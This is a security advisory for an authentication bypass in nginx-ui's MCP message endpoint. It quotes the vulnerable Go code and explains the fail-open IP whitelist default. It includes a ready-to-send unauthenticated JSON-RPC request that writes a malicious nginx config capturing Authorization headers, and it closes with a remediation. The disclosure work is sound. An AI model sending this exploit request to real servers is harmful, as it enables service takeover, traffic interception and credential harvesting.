CVE-2026-33032: nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover

Summary

The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.

Details

Vulnerable Code

`mcp/router.go:9-17` - Auth asymmetry between endpoints

func InitRouter(r *gin.Engine) {
	r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
		func(c *gin.Context) {
			mcp.ServeHTTP(c)
		})
	r.Any("/mcp_message", middleware.IPWhiteList(),
		func(c *gin.Context) {
			mcp.ServeHTTP(c)
		})
}

The /mcp endpoint has middleware.AuthRequired(), but /mcp_message does not. Both endpoints route to the same mcp.ServeHTTP() handler, which processes all MCP tool invocations.

`internal/middleware/ip_whitelist.go:11-26` - Empty whitelist allows all

func IPWhiteList() gin.HandlerFunc {
	return func(c *gin.Context) {
		clientIP := c.ClientIP()
		if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
			c.Next()
			return
		}
		// ...
	}
}

When IPWhiteList is empty (the default - settings/auth.go initializes Auth{} with no whitelist), the middleware allows all requests through. This is a fail-open design.

Available MCP Tools (all invocable without auth)

From mcp/nginx/:

• restart_nginx - restart the nginx process
• reload_nginx - reload nginx configuration
• nginx_status - read nginx status

From mcp/config/:

• nginx_config_add - create new nginx config files
• nginx_config_modify - modify existing config files
• nginx_config_list - list all configurations
• nginx_config_get - read config file contents
• nginx_config_enable - enable/disable sites
• nginx_config_rename - rename config files
• nginx_config_mkdir - create directories
• nginx_config_history - view config history
• nginx_config_base_path - get nginx config directory path

Attack Scenario

1. Attacker sends HTTP requests to http://target:9000/mcp_message (default port)
2. No authentication is required - IP whitelist is empty by default
3. Attacker invokes nginx_config_modify with relative_path="nginx.conf" to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs Authorization headers)
4. nginx_config_add auto-reloads nginx (config_add.go:74), or attacker calls reload_nginx directly
5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied

PoC

1. The auth asymmetry is visible by comparing the two route registrations in mcp/router.go:

// Line 10 - /mcp requires auth:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })

// Line 14 - /mcp_message does NOT:
r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })

Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.

2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:

var AuthSettings = &Auth{
    BanThresholdMinutes: 10,
    MaxAttempts:         10,
    // IPWhiteList is not initialized - defaults to nil/empty slice
}

And the middleware at internal/middleware/ip_whitelist.go:14 passes all requests when the list is empty:

if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
    c.Next()
    return
}

3. Config writes auto-reload nginx. From mcp/config/config_add.go:

err := os.WriteFile(path, []byte(content), 0644)  // Line 69: write config file
// ...
res := nginx.Control(nginx.Reload)                 // Line 74: immediate reload

4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:

POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "evil.conf",
      "content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }",
      "base_dir": "conf.d",
      "overwrite": true,
      "sync_node_ids": []
    }
  },
  "id": 1
}

No Authorization header is needed. The config is written and nginx reloads immediately.

Impact

• Complete nginx service takeover: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart
• Traffic interception: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit
• Service disruption: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services
• Configuration exfiltration: All existing nginx configs are readable via nginx_config_get, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers
• Credential harvesting: By injecting access_log directives with custom log_format patterns, the attacker can capture Authorization headers from administrators accessing nginx-ui, enabling escalation to the REST API

Remediation

Add middleware.AuthRequired() to the /mcp_message route:

r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
    func(c *gin.Context) {
        mcp.ServeHTTP(c)
    })

Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.